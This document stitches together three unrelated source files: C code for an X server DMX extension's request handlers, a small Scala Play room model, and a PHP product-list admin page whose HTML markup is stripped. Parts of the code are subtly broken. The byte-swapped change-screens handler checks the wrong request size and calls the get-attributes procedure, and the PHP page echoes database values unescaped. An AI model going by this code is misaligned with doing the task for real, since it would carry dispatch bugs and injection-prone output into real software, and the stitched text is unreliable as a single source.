    case DMXRootWindowWidth:     attr->rootWindowWidth     = value; break;
    case DMXRootWindowHeight:    attr->rootWindowHeight    = value; break;
    case DMXRootWindowXoffset:   attr->rootWindowXoffset   = value; break;
    case DMXRootWindowYoffset:   attr->rootWindowYoffset   = value; break;
    case DMXRootWindowXorigin:   attr->rootWindowXorigin   = value; break;
    case DMXRootWindowYorigin:   attr->rootWindowYorigin   = value; break;
    }
}

static int dmxFetchScreenAttributes(unsigned int mask,
                                    DMXScreenAttributesPtr attr,
                                    CARD32 *value_list)
{
    int    i;
    CARD32 *value = value_list;
    int    count  = 0;

    for (i = 0; i < 32; i++) {
        if (mask & (1 << i)) {
            dmxSetScreenAttribute(i, attr, *value);
            ++value;
            ++count;
        }
    }
    return count;
}

static void dmxSetDesktopAttribute(int bit, DMXDesktopAttributesPtr attr,
                                   CARD32 value)
{
    switch (1 << bit) {
    case DMXDesktopWidth:  attr->width  = value; break;
    case DMXDesktopHeight: attr->height = value; break;
    case DMXDesktopShiftX: attr->shiftX = value; break;
    case DMXDesktopShiftY: attr->shiftY = value; break;
    }
}

static int dmxFetchDesktopAttributes(unsigned int mask,
                                     DMXDesktopAttributesPtr attr,
                                     CARD32 *value_list)
{
    int    i;
    CARD32 *value = value_list;
    int    count  = 0;

    for (i = 0; i < 32; i++) {
        if (mask & (1 << i)) {
            dmxSetDesktopAttribute(i, attr, *value);
	    ++value;
            ++count;
        }
    }
    return count;
}

static void dmxSetInputAttribute(int bit, DMXInputAttributesPtr attr,
                                 CARD32 value)
{
    switch (1 << bit) {
    case DMXInputType:           attr->inputType      = value;   break;
    case DMXInputPhysicalScreen: attr->physicalScreen = value;   break;
    case DMXInputSendsCore:      attr->sendsCore      = !!value; break;
    }
}

static int dmxFetchInputAttributes(unsigned int mask,
                                   DMXInputAttributesPtr attr,
                                   CARD32 *value_list)
{
    int    i;
    CARD32 *value = value_list;
    int    count  = 0;

    for (i = 0; i < 32; i++) {
        if (mask & (1 << i)) {
            dmxSetInputAttribute(i, attr, *value);
            ++value;
            ++count;
        }
    }
    return count;
}

static int ProcDMXQueryVersion(ClientPtr client)
{
    xDMXQueryVersionReply rep;
    int                   n;

    REQUEST_SIZE_MATCH(xDMXQueryVersionReq);

    rep.type           = X_Reply;
    rep.sequenceNumber = client->sequence;
    rep.length         = 0;
    rep.majorVersion   = SERVER_DMX_MAJOR_VERSION;
    rep.minorVersion   = SERVER_DMX_MINOR_VERSION;
    rep.patchVersion   = SERVER_DMX_PATCH_VERSION;
    if (client->swapped) {
    	swaps(&rep.sequenceNumber, n);
        swapl(&rep.length, n);
	swapl(&rep.majorVersion, n);
	swapl(&rep.minorVersion, n);
	swapl(&rep.patchVersion, n);
    }
    WriteToClient(client, sizeof(xDMXQueryVersionReply), (char *)&rep);
    return Success;
}

static int ProcDMXSync(ClientPtr client)
{
    xDMXSyncReply rep;
    int           n;

    REQUEST_SIZE_MATCH(xDMXSyncReq);

    dmxFlushPendingSyncs();

    rep.type           = X_Reply;
    rep.sequenceNumber = client->sequence;
    rep.length         = 0;
    rep.status         = 0;
    if (client->swapped) {
        swaps(&rep.sequenceNumber, n);
        swapl(&rep.length, n);
        swapl(&rep.status, n);
    }
    WriteToClient(client, sizeof(xDMXSyncReply), (char *)&rep);
    return Success;
}

static int ProcDMXForceWindowCreation(ClientPtr client)
{
    xDMXForceWindowCreationReply rep;
    REQUEST(xDMXForceWindowCreationReq);
    WindowPtr     pWin;
    int           n;

    REQUEST_SIZE_MATCH(xDMXForceWindowCreationReq);

#ifdef PANORAMIX
    if (!noPanoramiXExtension) {
        PanoramiXRes *win;
        int          i;

        if (Success != dixLookupResourceByType((pointer*) &win,
					       stuff->window, XRT_WINDOW,
					       client, DixReadAccess))
            return -1;           /* BadWindow */

        FOR_NSCREENS(i) {
            if (Success != dixLookupWindow(&pWin, win->info[i].id, client,
					   DixReadAccess))
                return -1;       /* BadWindow */

            dmxForceWindowCreation(pWin);
        }
        goto doreply;
    }
#endif

    if (Success != dixLookupWindow(&pWin, stuff->window, client,
				   DixReadAccess))
        return -1;               /* BadWindow */

    dmxForceWindowCreation(pWin);
  doreply:
    dmxFlushPendingSyncs();
    rep.type           = X_Reply;
    rep.sequenceNumber = client->sequence;
    rep.length         = 0;
    rep.status         = 0;
    if (client->swapped) {
        swaps(&rep.sequenceNumber, n);
        swapl(&rep.length, n);
        swapl(&rep.status, n);
    }
    WriteToClient(client, sizeof(xDMXForceWindowCreationReply), (char *)&rep);
    return Success;
}

static int ProcDMXGetScreenCount(ClientPtr client)
{
    xDMXGetScreenCountReply rep;
    int                     n;

    REQUEST_SIZE_MATCH(xDMXGetScreenCountReq);

    rep.type           = X_Reply;
    rep.sequenceNumber = client->sequence;
    rep.length         = 0;
    rep.screenCount    = dmxGetNumScreens();
    if (client->swapped) {
    	swaps(&rep.sequenceNumber, n);
        swapl(&rep.length, n);
        swapl(&rep.screenCount, n);
    }
    WriteToClient(client, sizeof(xDMXGetScreenCountReply), (char *)&rep);
    return Success;
}

static int ProcDMXGetScreenAttributes(ClientPtr client)
{
    REQUEST(xDMXGetScreenAttributesReq);
    xDMXGetScreenAttributesReply rep;
    int                          n;
    int                          length;
    int                          paddedLength;
    DMXScreenAttributesRec       attr;

    REQUEST_SIZE_MATCH(xDMXGetScreenAttributesReq);

    if (stuff->physicalScreen < 0
        || stuff->physicalScreen >= dmxGetNumScreens()) return BadValue;

    if (!dmxGetScreenAttributes(stuff->physicalScreen, &attr))
        return BadValue;

    rep.logicalScreen       = attr.logicalScreen;
    rep.screenWindowWidth   = attr.screenWindowWidth;
    rep.screenWindowHeight  = attr.screenWindowHeight;
    rep.screenWindowXoffset = attr.screenWindowXoffset;
    rep.screenWindowYoffset = attr.screenWindowYoffset;
    rep.rootWindowWidth     = attr.rootWindowWidth;
    rep.rootWindowHeight    = attr.rootWindowHeight;
    rep.rootWindowXoffset   = attr.rootWindowXoffset;
    rep.rootWindowYoffset   = attr.rootWindowYoffset;
    rep.rootWindowXorigin   = attr.rootWindowXorigin;
    rep.rootWindowYorigin   = attr.rootWindowYorigin;

    length                  = attr.displayName ? strlen(attr.displayName) : 0;
    paddedLength            = pad_to_int32(length);
    rep.type                = X_Reply;
    rep.sequenceNumber      = client->sequence;
    rep.length              = bytes_to_int32((sizeof(xDMXGetScreenAttributesReply) - sizeof(xGenericReply))
                                             + paddedLength);
    rep.displayNameLength   = length;

    if (client->swapped) {
    	swaps(&rep.sequenceNumber, n);
        swapl(&rep.length, n);
        swapl(&rep.displayNameLength, n);
        swapl(&rep.logicalScreen, n);
        swaps(&rep.screenWindowWidth, n);
        swaps(&rep.screenWindowHeight, n);
        swaps(&rep.screenWindowXoffset, n);
        swaps(&rep.screenWindowYoffset, n);
        swaps(&rep.rootWindowWidth, n);
        swaps(&rep.rootWindowHeight, n);
        swaps(&rep.rootWindowXoffset, n);
        swaps(&rep.rootWindowYoffset, n);
        swaps(&rep.rootWindowXorigin, n);
        swaps(&rep.rootWindowYorigin, n);
    }
    WriteToClient(client, sizeof(xDMXGetScreenAttributesReply), (char *)&rep);
    if (length) WriteToClient(client, length, (char *)attr.displayName);
    return Success;
}

static int ProcDMXChangeScreensAttributes(ClientPtr client)
{
    REQUEST(xDMXChangeScreensAttributesReq);
    xDMXChangeScreensAttributesReply rep;
    int                              n;
    int                              status = DMX_BAD_XINERAMA;
    unsigned int                     mask   = 0;
    unsigned int                     i;
    CARD32                           *screen_list;
    CARD32                           *mask_list;
    CARD32                           *value_list;
    DMXScreenAttributesPtr           attribs;
    int                              errorScreen = 0;
    unsigned int                     len;
    int                              ones = 0;

    REQUEST_AT_LEAST_SIZE(xDMXChangeScreensAttributesReq);
    len = client->req_len - bytes_to_int32(sizeof(xDMXChangeScreensAttributesReq));
    if (len < stuff->screenCount + stuff->maskCount)
        return BadLength;

    screen_list = (CARD32 *)(stuff + 1);
    mask_list   = &screen_list[stuff->screenCount];
    value_list  = &mask_list[stuff->maskCount];

    for (i = 0; i < stuff->maskCount; i++) ones += Ones(mask_list[i]);
    if (len != stuff->screenCount + stuff->maskCount + ones)
        return BadLength;

    if (!_DMXXineramaActive()) goto noxinerama;

    if (!(attribs = malloc(stuff->screenCount * sizeof(*attribs))))
        return BadAlloc;

    for (i = 0; i < stuff->screenCount; i++) {
        int count;

        if (i < stuff->maskCount) mask = mask_list[i];
        dmxGetScreenAttributes(screen_list[i], &attribs[i]);
        count = dmxFetchScreenAttributes(mask, &attribs[i], value_list);
        value_list += count;
    }

#if PANORAMIX
    status = dmxConfigureScreenWindows(stuff->screenCount,
				       screen_list,
				       attribs,
				       &errorScreen);
#endif

    free(attribs);

    if (status == BadValue) return status;

  noxinerama:
    rep.type           = X_Reply;
    rep.sequenceNumber = client->sequence;
    rep.length         = 0;
    rep.status         = status;
    rep.errorScreen    = errorScreen;
    if (client->swapped) {
        swaps(&rep.sequenceNumber, n);
        swapl(&rep.length, n);
        swapl(&rep.status, n);
        swapl(&rep.errorScreen, n);
    }
    WriteToClient(client,
                  sizeof(xDMXChangeScreensAttributesReply),
                  (char *)&rep);
    return Success;
}

static int ProcDMXAddScreen(ClientPtr client)
{
    REQUEST(xDMXAddScreenReq);
    xDMXAddScreenReply     rep;
    int                    n;
    int                    status = 0;
    CARD32                 *value_list;
    DMXScreenAttributesRec attr;
    int                    count;
    char                   *name;
    int                    len;
    int                    paddedLength;

    REQUEST_AT_LEAST_SIZE(xDMXAddScreenReq);
    paddedLength = pad_to_int32(stuff->displayNameLength);
    len          = client->req_len - bytes_to_int32(sizeof(xDMXAddScreenReq));
    if (len != Ones(stuff->valueMask) + paddedLength/4)
        return BadLength;

    memset(&attr, 0, sizeof(attr));
    dmxGetScreenAttributes(stuff->physicalScreen, &attr);
    value_list = (CARD32 *)(stuff + 1);
    count      = dmxFetchScreenAttributes(stuff->valueMask, &attr, value_list);

    if (!(name = malloc(stuff->displayNameLength + 1 + 4)))
        return BadAlloc;
    memcpy(name, &value_list[count], stuff->displayNameLength);
    name[stuff->displayNameLength] = '\0';
    attr.displayName = name;

    status = dmxAttachScreen(stuff->physicalScreen, &attr);

    free(name);

    rep.type           = X_Reply;
    rep.sequenceNumber = client->sequence;
    rep.length         = 0;
    rep.status         = status;
    rep.physicalScreen = stuff->physicalScreen;
    if (client->swapped) {
        swaps(&rep.sequenceNumber, n);
        swapl(&rep.length, n);
        swapl(&rep.status, n);
        swapl(&rep.physicalScreen, n);
    }
    WriteToClient(client,
                  sizeof(xDMXAddScreenReply),
                  (char *)&rep);
    return Success;
}

static int ProcDMXRemoveScreen(ClientPtr client)
{
    REQUEST(xDMXRemoveScreenReq);
    xDMXRemoveScreenReply rep;
    int                   n;
    int                   status = 0;

    REQUEST_SIZE_MATCH(xDMXRemoveScreenReq);

    status = dmxDetachScreen(stuff->physicalScreen);

    rep.type           = X_Reply;
    rep.sequenceNumber = client->sequence;
    rep.length         = 0;
    rep.status         = status;
    if (client->swapped) {
        swaps(&rep.sequenceNumber, n);
        swapl(&rep.length, n);
        swapl(&rep.status, n);
    }
    WriteToClient(client,
                  sizeof(xDMXRemoveScreenReply),
                  (char *)&rep);
    return Success;
}

#ifdef PANORAMIX
static int dmxPopulatePanoramiX(ClientPtr client, Window window,
                                CARD32 *screens, CARD32 *windows,
                                xRectangle *pos, xRectangle *vis)
{
    WindowPtr              pWin;
    PanoramiXRes           *win;
    int                    i;
    int                    count = 0;
    DMXWindowAttributesRec attr;

    if (Success != dixLookupResourceByType((pointer*) &win,
					   window, XRT_WINDOW,
					   client, DixReadAccess))
        return -1;               /* BadWindow */

    FOR_NSCREENS(i) {
        if (Success != dixLookupWindow(&pWin, win->info[i].id, client,
				       DixReadAccess))
            return -1;          /* BadWindow */
        if (dmxGetWindowAttributes(pWin, &attr)) {
            screens[count] = attr.screen;
            windows[count] = attr.window;
            pos[count]     = attr.pos;
            vis[count]     = attr.vis;
            ++count;            /* Only count existing windows */
        }
    }
    return count;
}
#endif

static int dmxPopulate(ClientPtr client, Window window, CARD32 *screens,
                       CARD32 *windows, xRectangle *pos, xRectangle *vis)
{
    WindowPtr              pWin;
    DMXWindowAttributesRec attr;

#ifdef PANORAMIX
    if (!noPanoramiXExtension)
        return dmxPopulatePanoramiX(client, window, screens, windows,
                                    pos, vis);
#endif

    if (Success != dixLookupWindow(&pWin, window, client, DixReadAccess))
        return -1;               /* BadWindow */

    dmxGetWindowAttributes(pWin, &attr);
    *screens = attr.screen;
    *windows = attr.window;
    *pos     = attr.pos;
    *vis     = attr.vis;
    return 1;
}

static int dmxMaxNumScreens(void)
{
#ifdef PANORAMIX
    if (!noPanoramiXExtension) return PanoramiXNumScreens;
#endif
    return 1;
}

static int ProcDMXGetWindowAttributes(ClientPtr client)
{
    REQUEST(xDMXGetWindowAttributesReq);
    xDMXGetWindowAttributesReply rep;
    int                          i, n;
    CARD32                       *screens;
    CARD32                       *windows;
    xRectangle                   *pos, *vis;
    int                          count = dmxMaxNumScreens();

    REQUEST_SIZE_MATCH(xDMXGetWindowAttributesReq);

    if (!(screens = malloc(count * sizeof(*screens))))
        return BadAlloc;
    if (!(windows = malloc(count * sizeof(*windows)))) {
        free(screens);
        return BadAlloc;
    }
    if (!(pos = malloc(count * sizeof(*pos)))) {
        free(windows);
        free(screens);
        return BadAlloc;
    }
    if (!(vis = malloc(count * sizeof(*vis)))) {
        free(pos);
        free(windows);
        free(screens);
        return BadAlloc;
    }

    if ((count = dmxPopulate(client, stuff->window, screens, windows,
                             pos, vis)) < 0) {
        free(vis);
        free(pos);
        free(windows);
        free(screens);
        return BadWindow;
    }

    rep.type           = X_Reply;
    rep.sequenceNumber = client->sequence;
    rep.length         = count * 6;
    rep.screenCount    = count;
    if (client->swapped) {
    	swaps(&rep.sequenceNumber, n);
        swapl(&rep.length, n);
        swapl(&rep.screenCount, n);
        for (i = 0; i < count; i++) {
            swapl(&screens[i], n);
            swapl(&windows[i], n);

            swaps(&pos[i].x, n);
            swaps(&pos[i].y, n);
            swaps(&pos[i].width, n);
            swaps(&pos[i].height, n);

            swaps(&vis[i].x, n);
            swaps(&vis[i].y, n);
            swaps(&vis[i].width, n);
            swaps(&vis[i].height, n);
        }
    }

    dmxFlushPendingSyncs();

    WriteToClient(client, sizeof(xDMXGetWindowAttributesReply), (char *)&rep);
    if (count) {
        WriteToClient(client, count * sizeof(*screens), (char *)screens);
        WriteToClient(client, count * sizeof(*windows), (char *)windows);
        WriteToClient(client, count * sizeof(*pos),     (char *)pos);
        WriteToClient(client, count * sizeof(*vis),     (char *)vis);
    }

    free(vis);
    free(pos);
    free(windows);
    free(screens);

    return Success;
}

static int ProcDMXGetDesktopAttributes(ClientPtr client)
{
    xDMXGetDesktopAttributesReply rep;
    int                           n;
    DMXDesktopAttributesRec       attr;

    REQUEST_SIZE_MATCH(xDMXGetDesktopAttributesReq);

    dmxGetDesktopAttributes(&attr);

    rep.width               = attr.width;
    rep.height              = attr.height;
    rep.shiftX              = attr.shiftX;
    rep.shiftY              = attr.shiftY;

    rep.type                = X_Reply;
    rep.sequenceNumber      = client->sequence;
    rep.length              = 0;

    if (client->swapped) {
    	swaps(&rep.sequenceNumber, n);
        swapl(&rep.length, n);
        swapl(&rep.width, n);
        swapl(&rep.height, n);
        swapl(&rep.shiftX, n);
        swapl(&rep.shiftY, n);
    }
    WriteToClient(client, sizeof(xDMXGetDesktopAttributesReply), (char *)&rep);
    return Success;
}

static int ProcDMXChangeDesktopAttributes(ClientPtr client)
{
    REQUEST(xDMXChangeDesktopAttributesReq);
    xDMXChangeDesktopAttributesReply rep;
    int                              n;
    int                              status = DMX_BAD_XINERAMA;
    CARD32                           *value_list;
    DMXDesktopAttributesRec          attr;
    int                              len;

    REQUEST_AT_LEAST_SIZE(xDMXChangeDesktopAttributesReq);
    len = client->req_len - (sizeof(xDMXChangeDesktopAttributesReq) >> 2);
    if (len != Ones(stuff->valueMask))
        return BadLength;

    if (!_DMXXineramaActive()) goto noxinerama;

    value_list = (CARD32 *)(stuff + 1);

    dmxGetDesktopAttributes(&attr);
    dmxFetchDesktopAttributes(stuff->valueMask, &attr, value_list);

#if PANORAMIX
    status = dmxConfigureDesktop(&attr);
#endif
    if (status == BadValue) return status;

  noxinerama:
    rep.type           = X_Reply;
    rep.sequenceNumber = client->sequence;
    rep.length         = 0;
    rep.status         = status;
    if (client->swapped) {
        swaps(&rep.sequenceNumber, n);
        swapl(&rep.length, n);
        swapl(&rep.status, n);
    }
    WriteToClient(client,
                  sizeof(xDMXChangeDesktopAttributesReply),
                  (char *)&rep);
    return Success;
}

static int ProcDMXGetInputCount(ClientPtr client)
{
    xDMXGetInputCountReply rep;
    int                     n;

    REQUEST_SIZE_MATCH(xDMXGetInputCountReq);

    rep.type           = X_Reply;
    rep.sequenceNumber = client->sequence;
    rep.length         = 0;
    rep.inputCount     = dmxGetInputCount();
    if (client->swapped) {
    	swaps(&rep.sequenceNumber, n);
        swapl(&rep.length, n);
        swapl(&rep.inputCount, n);
    }
    WriteToClient(client, sizeof(xDMXGetInputCountReply), (char *)&rep);
    return Success;
}

static int ProcDMXGetInputAttributes(ClientPtr client)
{
    REQUEST(xDMXGetInputAttributesReq);
    xDMXGetInputAttributesReply rep;
    int                          n;
    int                          length;
    int                          paddedLength;
    DMXInputAttributesRec        attr;

    REQUEST_SIZE_MATCH(xDMXGetInputAttributesReq);

    if (dmxGetInputAttributes(stuff->deviceId, &attr)) return BadValue;
    rep.inputType      = attr.inputType;
    rep.physicalScreen = attr.physicalScreen;
    rep.physicalId     = attr.physicalId;
    rep.isCore         = attr.isCore;
    rep.sendsCore      = attr.sendsCore;
    rep.detached       = attr.detached;

    length             = attr.name ? strlen(attr.name) : 0;
    paddedLength       = pad_to_int32(length);
    rep.type           = X_Reply;
    rep.sequenceNumber = client->sequence;
    rep.length         = bytes_to_int32(paddedLength);
    rep.nameLength     = length;
    if (client->swapped) {
    	swaps(&rep.sequenceNumber, n);
        swapl(&rep.length, n);
        swapl(&rep.inputType, n);
        swapl(&rep.physicalScreen, n);
        swapl(&rep.physicalId, n);
        swapl(&rep.nameLength, n);
    }
    WriteToClient(client, sizeof(xDMXGetInputAttributesReply), (char *)&rep);
    if (length) WriteToClient(client, length, (char *)attr.name);
    return Success;
}

static int ProcDMXAddInput(ClientPtr client)
{
    REQUEST(xDMXAddInputReq);
    xDMXAddInputReply      rep;
    int                    n;
    int                    status = 0;
    CARD32                 *value_list;
    DMXInputAttributesRec  attr;
    int                    count;
    char                   *name;
    int                    len;
    int                    paddedLength;
    int                    id     = -1;

    REQUEST_AT_LEAST_SIZE(xDMXAddInputReq);
    paddedLength = pad_to_int32(stuff->displayNameLength);
    len          = client->req_len - (sizeof(xDMXAddInputReq) >> 2);
    if (len != Ones(stuff->valueMask) + paddedLength/4)
        return BadLength;

    memset(&attr, 0, sizeof(attr));
    value_list = (CARD32 *)(stuff + 1);
    count      = dmxFetchInputAttributes(stuff->valueMask, &attr, value_list);

    if (!(name = malloc(stuff->displayNameLength + 1 + 4)))
        return BadAlloc;
    memcpy(name, &value_list[count], stuff->displayNameLength);
    name[stuff->displayNameLength] = '\0';
    attr.name = name;

    status = dmxAddInput(&attr, &id);

    free(name);

    if (status) return status;

    rep.type           = X_Reply;
    rep.sequenceNumber = client->sequence;
    rep.length         = 0;
    rep.status         = status;
    rep.physicalId     = id;
    if (client->swapped) {
        swaps(&rep.sequenceNumber, n);
        swapl(&rep.length, n);
        swapl(&rep.status, n);
        swapl(&rep.physicalId, n);
    }
    WriteToClient(client, sizeof(xDMXAddInputReply), (char *)&rep);
    return Success;
}

static int ProcDMXRemoveInput(ClientPtr client)
{
    REQUEST(xDMXRemoveInputReq);
    xDMXRemoveInputReply     rep;
    int                      n;
    int                      status = 0;

    REQUEST_SIZE_MATCH(xDMXRemoveInputReq);

    status = dmxRemoveInput(stuff->physicalId);

    if (status) return status;

    rep.type           = X_Reply;
    rep.sequenceNumber = client->sequence;
    rep.length         = 0;
    rep.status         = status;
    if (client->swapped) {
        swaps(&rep.sequenceNumber, n);
        swapl(&rep.length, n);
        swapl(&rep.status, n);
    }
    WriteToClient(client, sizeof(xDMXRemoveInputReply), (char *)&rep);
    return Success;
}

static int ProcDMXDispatch(ClientPtr client)
{
    REQUEST(xReq);

    switch (stuff->data) {
    case X_DMXQueryVersion:         return ProcDMXQueryVersion(client);
    case X_DMXSync:                 return ProcDMXSync(client);
    case X_DMXForceWindowCreation:  return ProcDMXForceWindowCreation(client);
    case X_DMXGetScreenCount:       return ProcDMXGetScreenCount(client);
    case X_DMXGetScreenAttributes:  return ProcDMXGetScreenAttributes(client);
    case X_DMXChangeScreensAttributes:
        return ProcDMXChangeScreensAttributes(client);
    case X_DMXAddScreen:            return ProcDMXAddScreen(client);
    case X_DMXRemoveScreen:         return ProcDMXRemoveScreen(client);
    case X_DMXGetWindowAttributes:  return ProcDMXGetWindowAttributes(client);
    case X_DMXGetDesktopAttributes: return ProcDMXGetDesktopAttributes(client);
    case X_DMXChangeDesktopAttributes:
        return ProcDMXChangeDesktopAttributes(client);
    case X_DMXGetInputCount:        return ProcDMXGetInputCount(client);
    case X_DMXGetInputAttributes:   return ProcDMXGetInputAttributes(client);
    case X_DMXAddInput:             return ProcDMXAddInput(client);
    case X_DMXRemoveInput:          return ProcDMXRemoveInput(client);

    case X_DMXGetScreenInformationDEPRECATED:
    case X_DMXForceWindowCreationDEPRECATED:
    case X_DMXReconfigureScreenDEPRECATED:
        return BadImplementation;

    default:                        return BadRequest;
    }
}

static int SProcDMXQueryVersion(ClientPtr client)
{
    int n;
    REQUEST(xDMXQueryVersionReq);

    swaps(&stuff->length, n);
    REQUEST_SIZE_MATCH(xDMXQueryVersionReq);
    return ProcDMXQueryVersion(client);
}

static int SProcDMXSync(ClientPtr client)
{
    int n;
    REQUEST(xDMXSyncReq);

    swaps(&stuff->length, n);
    REQUEST_SIZE_MATCH(xDMXSyncReq);
    return ProcDMXSync(client);
}

static int SProcDMXForceWindowCreation(ClientPtr client)
{
    int n;
    REQUEST(xDMXForceWindowCreationReq);

    swaps(&stuff->length, n);
    REQUEST_SIZE_MATCH(xDMXForceWindowCreationReq);
    swaps(&stuff->window, n);
    return ProcDMXForceWindowCreation(client);
}

static int SProcDMXGetScreenCount(ClientPtr client)
{
    int n;
    REQUEST(xDMXGetScreenCountReq);

    swaps(&stuff->length, n);
    REQUEST_SIZE_MATCH(xDMXGetScreenCountReq);
    return ProcDMXGetScreenCount(client);
}

static int SProcDMXGetScreenAttributes(ClientPtr client)
{
    int n;
    REQUEST(xDMXGetScreenAttributesReq);

    swaps(&stuff->length, n);
    REQUEST_SIZE_MATCH(xDMXGetScreenAttributesReq);
    swapl(&stuff->physicalScreen, n);
    return ProcDMXGetScreenAttributes(client);
}

static int SProcDMXChangeScreensAttributes(ClientPtr client)
{
    int n;
    REQUEST(xDMXChangeScreensAttributesReq);

    swaps(&stuff->length, n);
    REQUEST_AT_LEAST_SIZE(xDMXGetScreenAttributesReq);
    swapl(&stuff->screenCount, n);
    swapl(&stuff->maskCount, n);
    SwapRestL(stuff);
    return ProcDMXGetScreenAttributes(client);
}

static int SProcDMXAddScreen(ClientPtr client)
{
    int n;
    int paddedLength;
    REQUEST(xDMXAddScreenReq);

    swaps(&stuff->length, n);
    REQUEST_AT_LEAST_SIZE(xDMXAddScreenReq);
    swapl(&stuff->displayNameLength, n);
    swapl(&stuff->valueMask, n);
    paddedLength = pad_to_int32(stuff->displayNameLength);
    SwapLongs((CARD32 *)(stuff+1), LengthRestL(stuff) - paddedLength/4);
    return ProcDMXAddScreen(client);
}

static int SProcDMXRemoveScreen(ClientPtr client)
{
    int n;
    REQUEST(xDMXRemoveScreenReq);

    swaps(&stuff->length, n);
    REQUEST_SIZE_MATCH(xDMXRemoveScreenReq);
    swapl(&stuff->physicalScreen, n);
    return ProcDMXRemoveScreen(client);
}

static int SProcDMXGetWindowAttributes(ClientPtr client)
{
    int n;
    REQUEST(xDMXGetWindowAttributesReq);

    swaps(&stuff->length, n);
    REQUEST_SIZE_MATCH(xDMXGetWindowAttributesReq);
    swapl(&stuff->window, n);
    return ProcDMXGetWindowAttributes(client);
}

static int SProcDMXGetDesktopAttributes(ClientPtr client)
{
    int n;
    REQUEST(xDMXGetDesktopAttributesReq);

    swaps(&stuff->length, n);
    REQUEST_SIZE_MATCH(xDMXGetDesktopAttributesReq);
    return ProcDMXGetDesktopAttributes(client);
}

static int SProcDMXChangeDesktopAttributes(ClientPtr client)
{
    int n;
    REQUEST(xDMXChangeDesktopAttributesReq);

    swaps(&stuff->length, n);
    REQUEST_AT_LEAST_SIZE(xDMXChangeDesktopAttributesReq);
    swapl(&stuff->valueMask, n);
    SwapRestL(stuff);
    return ProcDMXChangeDesktopAttributes(client);
}

static int SProcDMXGetInputCount(ClientPtr client)
{
    int n;
    REQUEST(xDMXGetInputCountReq);

    swaps(&stuff->length, n);
    REQUEST_SIZE_MATCH(xDMXGetInputCountReq);
    return ProcDMXGetInputCount(client);
}

static int SProcDMXGetInputAttributes(ClientPtr client)
{
    int n;
    REQUEST(xDMXGetInputAttributesReq);

    swaps(&stuff->length, n);
    REQUEST_SIZE_MATCH(xDMXGetInputAttributesReq);
    swapl(&stuff->deviceId, n);
    return ProcDMXGetInputAttributes(client);
}

static int SProcDMXAddInput(ClientPtr client)
{
    int n;
    int paddedLength;
    REQUEST(xDMXAddInputReq);

    swaps(&stuff->length, n);
    REQUEST_AT_LEAST_SIZE(xDMXAddInputReq);
    swapl(&stuff->displayNameLength, n);
    swapl(&stuff->valueMask, n);
    paddedLength = pad_to_int32(stuff->displayNameLength);
    SwapLongs((CARD32 *)(stuff+1), LengthRestL(stuff) - paddedLength/4);
    return ProcDMXAddInput(client);
}

static int SProcDMXRemoveInput(ClientPtr client)
{
    int n;
    REQUEST(xDMXRemoveInputReq);

    swaps(&stuff->length, n);
    REQUEST_SIZE_MATCH(xDMXRemoveInputReq);
    swapl(&stuff->physicalId, n);
    return ProcDMXRemoveInput(client);
}

static int SProcDMXDispatch (ClientPtr client)
{
    REQUEST(xReq);

    switch (stuff->data) {
    case X_DMXQueryVersion:         return SProcDMXQueryVersion(client);
    case X_DMXSync:                 return SProcDMXSync(client);
    case X_DMXForceWindowCreation:  return SProcDMXForceWindowCreation(client);
    case X_DMXGetScreenCount:       return SProcDMXGetScreenCount(client);
    case X_DMXGetScreenAttributes:  return SProcDMXGetScreenAttributes(client);
    case X_DMXChangeScreensAttributes:
        return SProcDMXChangeScreensAttributes(client);
    case X_DMXAddScreen:            return SProcDMXAddScreen(client);
    case X_DMXRemoveScreen:         return SProcDMXRemoveScreen(client);
    case X_DMXGetWindowAttributes:  return SProcDMXGetWindowAttributes(client);
    case X_DMXGetDesktopAttributes:
        return SProcDMXGetDesktopAttributes(client);
    case X_DMXChangeDesktopAttributes:
        return SProcDMXChangeDesktopAttributes(client);
    case X_DMXGetInputCount:        return SProcDMXGetInputCount(client);
    case X_DMXGetInputAttributes:   return SProcDMXGetInputAttributes(client);
    case X_DMXAddInput:             return SProcDMXAddInput(client);
    case X_DMXRemoveInput:          return SProcDMXRemoveInput(client);

    case X_DMXGetScreenInformationDEPRECATED:
    case X_DMXForceWindowCreationDEPRECATED:
    case X_DMXReconfigureScreenDEPRECATED:
        return BadImplementation;

    default:                        return BadRequest;
    }
}

/** Initialize the extension. */
void DMXExtensionInit(void)
{
    ExtensionEntry *extEntry;

    if ((extEntry = AddExtension(DMX_EXTENSION_NAME, 0, 0,
                                 ProcDMXDispatch, SProcDMXDispatch,
                                 NULL, StandardMinorOpcode)))
	DMXCode = extEntry->base;
}


text:
package models

import java.util.UUID

import play.api.libs.json.{Json, Reads, Writes}

case class Room(label: String, description: String, capacity: Int, id: UUID) extends UniqueEntity

case class RoomProtocol(label: String, description: String, capacity: Int)

object Room {
  implicit val writes: Writes[Room] = Json.writes[Room]
}

object RoomProtocol {
  implicit val reads: Reads[RoomProtocol] = Json.reads[RoomProtocol]
}


text:
<?php

if (!session_id()) session_start();
if (!$_SESSION['logon']){
    header("Location:index.php");
    die();
}

require_once('lib/DBClass.php');
require_once('lib/m_produk.php');

$siswa = new Produk();
$data = $siswa->readAllBrand();
$data = $siswa->readAllKategori();

?>
<!DOCTYPE html>

    <title>Bootstrap Admin Theme v3</title>
    <meta name="viewport" content="width=device-width, initial-scale=1.0">

    <link href="https://code.jquery.com/ui/1.10.3/themes/redmond/jquery-ui.css" rel="stylesheet" media="screen">

    <link href="bootstrap/css/bootstrap.min.css" rel="stylesheet">

    <link href="css/styles.css" rel="stylesheet">

    <link href="css/stats.css" rel="stylesheet">

Bootstrap Admin Theme

	                       <input type="text" class="form-control" placeholder="Search...">

	                         <button class="btn btn-primary" type="button">Search</button>

	                        My Account

Logout

 Dashboard

 Tambah Produk

 Daftar Produk

 Feedback

Daftar Produk

				                  ID Produk
				                  ID Brand
				                  ID Kategori
				                  Name
				                  Harga
				                  Deskripsi
				                  Opsi

				                <?php
									include('koneksi.php');

									$query = mysqli_query($koneksi, "SELECT * FROM produk JOIN brand on produk.idbrand = brand.idbrand JOIN kategori on produk.idKategori = kategori.idKategori ORDER BY idproduk ASC") or die(mysqli_error());

									if (mysqli_num_rows($query) == 0) {
										echo '
Tidak ada data!
';
									} else {

										while ( $data = mysqli_fetch_assoc($query)) {
											echo "
";
											echo "".$data['IdProduk']."	";
											echo "".$data['NamaBrand']."	";
											echo "".$data['NamaKategori']."	";
											echo "".$data['NamaProduk']."	";
											echo "".$data['Harga']."	";
											echo "".$data['Deskripsi']."	";
											echo 'Edit / Hapus	';
											echo '
';

									}
								}
								mysqli_close($koneksi);
								?>

               Copyright 2014 Website

